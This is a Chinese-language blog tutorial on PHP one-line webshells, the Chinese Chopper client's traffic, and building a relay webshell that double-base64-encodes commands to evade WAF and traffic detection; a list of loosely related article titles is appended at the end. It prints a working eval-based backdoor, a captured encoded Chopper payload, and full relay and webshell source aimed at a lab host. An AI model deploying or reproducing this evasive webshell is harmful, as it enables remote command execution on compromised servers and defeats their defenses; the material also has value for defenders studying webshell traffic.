->_

0x00 前言

前一阵子心情不太好,本来已经不打算写东西了,但想到自己在学习的时候摸爬滚打,吃尽了苦头,现在虽小有成就,但仍有很多同行道友在这条道路上不断摸索,思索再三,还是打算继续写下去,算是为迷茫中的人点亮一盏微弱的灯……So,这篇文章写详细一些,就当找个愿意听的人说话了

老规矩,以PHP为例做讲解

0x01 原理

这里先给大家介绍一句话木马和菜刀的工作原理,了解的可以往下面翻

一句话木马

先说说一句话木马的原理

先说说eval()这个函数

简单点说,eval()这个函数会把参数当作代码来执行

什么叫做把参数当作代码来执行,简单举个例子

phpinfo()函数都明白吧,不明白也没关系,它执行结果是这样的

phpinfo()

当把phpinfo()函数作为字符串传递给eval()函数时,效果就相当于刚才的代码

eval('phpinfo()')

关于eval()函数就介绍到此,如果还有不明白的自己翻翻资料,或者私信我

下面再说我们刚才写的那个一句话木马,现在理解起来就容易多了,它会把POST传递过来的参数c的内容作为PHP代码执行,具体执行的内容由POST参数决定,比如执行系统命令

POST

c=system('whoami');

whoami

这样只需要不断改变POST过来的数据,就可以实现任意功能

这就是一句话木马的原理

菜刀

理解了一句话木马的原理后,菜刀的原理就更简单了

菜刀其实就是根据一句话木马的原理,将常用的一些操作的代码封装好,再结合图像界面(GUI),实现当你双击文件夹时便可列出目录

为了方便理解这里用wireshark抓个数据包

wireshark

POST

c=$xx%3Dchr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/.($xx/**/.($yy[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk%2Fc3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=QzpcXFdJTkRPV1NcXA%3D%3D

感兴趣的可以将发送的数据代码自己分析分析,这里就不具体讲了

0x02 中转webshell

先扯点历史

接着刚才菜刀原理说,既然已知了菜刀是将封装好的参数根据用户操作发送给webshell,那么站在防护的角度来讲,我可以将主流的菜刀参数都设为黑名单,发现就拦截,甚至我可以对你发送的数据内容进行简单的自动审计,发现敏感的代码直接拦截掉

这个就是早期的一些防护软件的拦截手段

于是,就有了一帮逆向大牛对菜刀进行逆向,将封装好的参数进行混淆,或者对防护软件进行fuzz,然后找到不拦截的参数去替换,这样就能实现一个“过狗”的效果

但是更有一群人浑水摸鱼,在外发放了很多捆有后门的菜刀坐收渔翁之利,而且随着防护软件越来越完善,找到一些能够替换的函数代价太大,于是就有了中转webshell(主要还是因为不会逆向……因为懒……)

中转webshell的逻辑很简单,菜刀不直接向shell发送数据,而是发送到中转的一个页面上,这个页面对接收的参数全部进行加密(甚至可以用2048位的RSA,只要你愿意),然后再发送给shell,shell接收后先用同样的算法进行解密,然后对执行的结果进行加密,返回给中转shell,中转shell再去解密,然后返回给菜刀客户端

这样就能实现自定义加密算法对菜刀的数据进行加密来绕过一些防护设备,话不多说,上图

中转webshell

理解了原理就可以开始造轮子了

0x03 造轮子

中转shell

set_time_limit(0);

$url = 'http://192.168.157.142:81/shell.php'; //真实shell地址

$opt_data = http_build_query($_POST);

$content = postdata($url,encode($opt_data));

$content = decode($content);

echo $content;

function encode($data){

return base64_encode(base64_encode($data));

}

function decode($data){

return base64_decode(base64_decode($data));

}

function postdata($url,$data){

$curl = curl_init(); //初始化

curl_setopt($curl,CURLOPT_URL,$url); //设置url

curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC); //设置http验证方法

curl_setopt($curl,CURLOPT_HEADER,0); //设置头信息

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); //设置curl_exec获取的信息的返回方式

curl_setopt($curl,CURLOPT_POST,1); //设置发送方式为post请求

curl_setopt($curl,CURLOPT_POSTFIELDS,$data); //设置post的数据

$result = curl_exec($curl);

if($result === false){

echo 'Request False!';

echo curl_errno($curl);

exit();

}

curl_close($curl);

return $result;

}

?>

webshell

function callback($buffer){

return (encode($buffer));

}

ob_start("callback");

parse_str(decode(file_get_contents('php://input')),$_POST);

eval($_POST['c']);

function encode($data){ //加密算法

return base64_encode(base64_encode($data));

}

function decode($data){ //解密算法

return base64_decode(base64_decode($data));

}

ob_end_flush();

?>

效果如下:

1.菜刀连接中转shell

image.png

2.中转shell修改真实shell的url

image.png

3.通过菜刀执行系统命令查看ip

image.png

可以看到我们打开的是192.168.157.128的会话,但实际操作的确是我们的目标靶机192.168.157.142

至此结束

0xFF 尾言

身边每个人都要去珍惜,不要等到失去才后悔莫急

——鲁迅

php流量中转,中转Webshell绕过流量检测防护相关推荐

  1. webshell客户端流量特征

    webshell客户端流量特征 目录 1. 冰蝎 2. 中国菜刀 3. Cknife 4. 蚁剑 5. 哥斯拉 webshell客户端 用于webshell后门和攻击者之间的通信程序,我们可以通过we ...

  2. 基于物联网流量指纹的安全威胁轻量级检测方法

    [摘  要]针对传统物联网深度包流量检测效率过低问题,提出一种基于物联网流量指纹的安全威胁轻量级检测方法.首先采用数据重构的方法获取流量时空数据,然后采用深度学习的方法提取流量数据时空特征(即流量数据 ...

  3. 基于机器学习和背景流量数据的加密恶意流量检测

    文章目录 1 加密流量现状 1.1 加密流量检测的必要性 1.2 加密恶意流量的检测方法 2 加密流量特征分析 2.1 可观察的数据元统计特征 2.1.1 传统流数据 2.1.2 字节分布 2.1.3 ...

  4. 绕过content-type检测文件类型上传webshell

    声明:以下内容均来自"实验吧"免费公益渗透平台,该平台至今仍旧在维护,估计~~,为此把以前保留的笔记拿来分享下. [实验目的]    1) 理解绕过Content-Type检测文件 ...

  5. Frida:一款可以绕过越狱检测的工具

    本文讲的是 Frida:一款可以绕过越狱检测的工具, Frida--移动应用程序进行安全分析的主要工具,即使你从未使用过Frida,读完这篇文章,你也将对它有充分的了解. Frida介绍 Frida是 ...

  6. 使用BurpSuite进行APP抓包如何绕过代理检测

    文章目录 使用BurpSuite进行APP抓包如何绕过代理检测 场景描述 如果绕过呢? 总结与思考 使用BurpSuite进行APP抓包如何绕过代理检测 场景描述 最近接手到一个项目,对某客户的ios ...

  7. 什么是流量劫持,如何防止流量劫持、流量劫持怎么办

    流量劫持,是利用各种恶意软件修改浏bai览器.锁定主页或不停弹出新窗口,强制用户访问某些网站,从而造成用户流量损失的情形. 流量劫持是一种古老的攻击方式,比如早已见惯的广告弹窗等,很多人已经对此麻木, ...

  8. 流量劫持原理解析、流量劫持怎么办怎么解决

    明明打开的是A网站,却莫名其妙的跳转至B网站.想下载的是A软件,得到的确实B软件.启动APP之后弹出的广告让你烦躁不已.这个时候你也许想到的是中招了,开始用各类安全软件查杀病毒,但结果并未如你所愿,这 ...

  9. Linux服务中统计每个客户端的流量、每个网口的流量、每个端口的流量、每个进程的流量、每个IP的流量等等多种实现方案

    Linux服务中统计每个客户端的流量.每个网口的流量.每个端口的流量.每个进程的流量.每个IP的流量等等多种实现方案. 在Linux中有很多的流量监控工具,它们可以监控.分类网络流量,以花哨的图形用户 ...

最新文章

  1. pyhton3 rsa长加密/解密
  2. windows如何访问linux系统文件,如何从 Windows 访问 Linux 文件?——方法步骤
  3. 网络安全 / crt、pem、pfx、cer、key 作用及区别
  4. java: 错误: 不支持发行版本 5
  5. Java集合容器面试题
  6. 【转】!C# 基础至集合-数组、List<T>、ArrayList、LinkedList、HashMap的一些区别
  7. 【LeetCode笔记】148. 排序链表(Java、归并排序、快慢指针、双重递归)
  8. printf打印数组_彻底弄懂为什么不能把栈上分配的数组(字符串)作为返回值
  9. 征稿通知!ICCV 2021 第一届面向意图表达的手绘草图研讨会
  10. 英语单词速记(一直更新中......)
  11. 一名IT民工开通博客
  12. tomacat 上传图片崩溃问题
  13. 一个程序员 作者 设计师的 2018 年终总结
  14. 创蓝253短信验证码接口接入常见问题
  15. 无人机停机坪是什么?有哪些作用?无人机自动巡检如何实现?
  16. 收藏夹吃灰系列(二):教小师妹通过代码实现Swagger在线接口文档转word文档!教完后...?
  17. 微软明年停止支持IE浏览器 鼓励使用Edge浏览器
  18. webpack配置entry详解
  19. Python实现汽车油耗预测_基于Tensorflow2.X
  20. chrome frame节点 取_爬虫3-下(利用Selenium + Chrome Driver模拟用户操作浏览器)

热门文章

  1. 重构项目之一:大图展示
  2. Css框架and公共Css文件
  3. 北京时间3月9日消息,据国外媒体报道
  4. Sharepoint Caml查询中时间格式
  5. linux 文件夹换所属用户,Linux中账号管理之权限管理(下)
  6. 【Python 爬虫】 4、爬虫基本原理
  7. 【学习笔记】25、关系数据库存储
  8. Invoice校验差异处理
  9. SAP快速找到定制配置
  10. SAP PP常用表(重要)